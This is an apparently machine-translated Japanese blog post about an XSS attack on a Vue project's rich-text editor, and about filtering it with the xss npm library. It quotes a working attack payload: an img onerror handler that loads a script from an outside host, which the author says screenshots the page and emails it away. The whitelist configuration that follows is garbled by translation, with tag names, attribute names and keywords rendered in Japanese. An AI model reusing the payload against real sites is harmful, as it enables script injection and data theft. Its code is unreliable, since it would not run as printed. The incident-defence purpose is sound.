VUEプロジェクトでXSS攻撃に遭遇した実体験

VUEプロジェクトでXSS攻撃に遭遇した実体験

序文

インターネットの急速な発展に伴い、情報セキュリティの問題は企業にとって最も懸念される焦点の 1 つとなっており、フロントエンドは企業のセキュリティ問題を引き起こす高リスクの拠点となっています。モバイル インターネットの時代では、フロントエンド担当者は、XSS や CSRF などの従来のセキュリティ問題に加えて、ネットワーク ハイジャックやハイブリッド API への不正な呼び出しなどの新しいセキュリティ問題に遭遇することがよくあります。もちろん、ブラウザ自体は常に進化と発展を続けており、セキュリティを強化するために CSP や Same-Site Cookies などの新しいテクノロジーを常に導入していますが、潜在的な脅威は依然として多く存在しており、フロントエンド技術者は絶えず「漏れをチェックし、ギャップを埋める」必要があります。

原因を発見する

すべての責任はリッチ テキスト エディターにあります...

テキスト フィールドは、ユーザーが写真を直接貼り付けられるように必要に応じてリッチ テキスト エディターに変更されましたが、これはインターネットから写真をアップロードするユーザーによる攻撃でした。

攻撃コード 1" onerror=s=createElement('script');body.appendChild(s);s.src='//x0.nz/nQqS';

データがエコーされると、イメージはエラーを報告し、onerrorイベントを実行し、現在のページのスクリーンショットが撮られ、指定されたメールボックスに送信されます。

当初の解決策は、オンライン画像をアップロードするリッチ テキスト エディター メソッドを直接無効にすることでしたが、攻撃は再び繰り返されました。攻撃者は「fiddler」を使用してパラメータを変更し、同じ効果を実現しました。

最終的に、サードパーティの XSS 攻撃保護プラグインが使用され、バックエンドの戻りデータの送信と取得時にフィルタリングされるホワイトリストを構成することで問題が解決されました。

プラグインの中国語ドキュメントのアドレス: github.com/leizongmin/…

npm インストール xss

「xss」からfilterXSSをインポートします

カスタムフィルタリングルール

フィルタリングのために xss() 関数を呼び出すときに、2 番目のパラメータを使用してカスタム ルールを設定できます。

options = {}; // カスタムルール html = filterXSS('<script>alert("xss");</script>', options);

whiteList によって指定され、形式は次のようになります: {'タグ名': ['属性 1', '属性 2']}。ホワイトリストにないタグはフィルタリングされ、ホワイトリストにない属性もフィルタリングされます。

オプション = {
    stripIgnoreTagBody: true, // ホワイトリストにないタグとその内容は直接削除されます whiteList: {
        h1: ["スタイル"],
        h2: ["スタイル"],
        h3: ["スタイル"],
        h4: ["スタイル"],
        h5: ["スタイル"],
        h6: ["スタイル"],
        hr: ["スタイル"],
        範囲: ["スタイル"],
        強い: ["スタイル"],
        b: ["スタイル"],
        i: ["スタイル"],
        br: [],
        p: ["スタイル"],
        pre: ["スタイル"],
        コード: ["スタイル"],
        a: ["スタイル", "ターゲット", "href", "タイトル", "rel"],
        画像: ["スタイル", "ソース", "タイトル"],
        div: ["スタイル"],
        テーブル: ["スタイル", "幅", "境界線"],
        tr: ["スタイル"],
        td: ["スタイル", "幅", "列幅"],
        th: ["スタイル", "幅", "列範囲"],
        tbody: ["スタイル"],
        ul: ["スタイル"],
        li: ["スタイル"],
        ol: ["スタイル"],
        dl: ["スタイル"],
        dt: ["スタイル"],
        em: ["スタイル"],
        引用: ["スタイル"],
        セクション: ["スタイル"],
        ヘッダー: ["スタイル"],
        フッター: ["スタイル"],
        引用ブロック: ["スタイル"],
        オーディオ: ["自動再生", "コントロール", "ループ", "プリロード", "src"],
        ビデオ:
          「自動再生」、
          「コントロール」、
          "ループ"、
          「プリロード」、
          「ソース」、
          "身長"、
          "幅"、
        ]、
     },
     css: {
     // 上記のホワイトリストではタグのスタイル属性が許可されているため、攻撃者がこのメソッドを使用して攻撃するのを防ぐ必要があります。ホワイトリスト: {
          色: 真、
          "背景色": true,
          幅: true、
          高さ: true、
          「最大幅」:true、
          「最大高さ」: true、
          「最小幅」:true、
          「最小高さ」: true、
          「フォントサイズ」:true、
        },
    },
}

コンテンツ = filterXSS(コンテンツ、オプション)

要約する

VUE プロジェクトで発生した XSS 攻撃に関するこの記事はこれで終わりです。VUE プロジェクトの XSS 攻撃に関する関連記事については、123WORDPRESS.COM の以前の記事を検索するか、以下の関連記事を引き続き参照してください。今後とも 123WORDPRESS.COM をよろしくお願いいたします。

以下もご興味があるかもしれません:
  • Web セキュリティにおける XSS 攻撃と防御の概要

<<:  動的なセカンダリメニューを実現するためのCSS

>>:  PrometheusはGrafanaディスプレイを使用してMySQLを監視します

推薦する

React 国際化 react-i18next の詳細な説明

導入react-i18next は、 i18nextをベースにした強力な国際化フレームワークです。 ...

MySQL における USING と HAVING の使用法の簡単な分析

この記事では、例を使用して MySQL での USING と HAVING の使用方法を説明します。...

JavaScript 型検出方法の例のチュートリアル

序文JavaScriptはWebフロントエンドで広く使われている言語の一つであり、Webアプリケーシ...

MySQL 並列レプリケーションの簡単な分析

01 並列レプリケーションの概念MySQL のマスター スレーブ レプリケーション アーキテクチャで...

CSS 境界線の半分または部分的に表示される実装コード

1. 疑似クラスを使用して境界線の半分を表示する <!DOCTYPE html> <...

DockerとVMwareの競合を解決する

1. Dockerの起動の問題:問題は解決しました: Hyper-V をオンにする必要があります (...

CSS グリッドレイアウトの完全ガイド

Grid は 2 次元のグリッド レイアウト システムです。これを使用すると、本質的にはハック メソ...

MySQLログシステムの詳細情報共有

大規模なシステムに取り組んだことがある人なら誰でも、ログの役割を過小評価してはならないことを知ってい...

MySQL デュアルマシン ホットスタンバイ実装ソリューション [テスト可能]

目次1. コンセプト2. 環境の説明3. マスタースレーブホットスタンバイ実装1. コンセプト1. ...

写真とテキストによる MySQL と sqlyog のインストール チュートリアル

1. MySQL 1.1 MySQLのインストールmysql-5.5.27-winx64 ダウンロー...

両端揃えレイアウトを実現する CSS 列のサンプルコード

1. 堂々巡りいろいろ試行錯誤した結果、均等割り付けレイアウトを実現する最も簡単な方法は CSS ...

JS でオブジェクトが空オブジェクトかどうかを判断する 5 つの方法

1. jsonオブジェクトをjson文字列に変換し、文字列が「{}」であるかどうかを判断します。 v...

シリアルポート使用時のvue-electronの問題解決

エラーは次のとおりです:キャッチされない TypeError: 未定義のプロパティ 'mod...

MySQL 5.7.27 winx64 のインストールと設定方法のグラフィックチュートリアル

この記事では、MySQL 5.7.27 winx64のインストールと設定方法を参考までに紹介します。...

MySQLサービスの自動停止の解決策

この記事では主に、MySQL サービスの自動停止の解決策を紹介し、参考と学習のために共有します。一緒...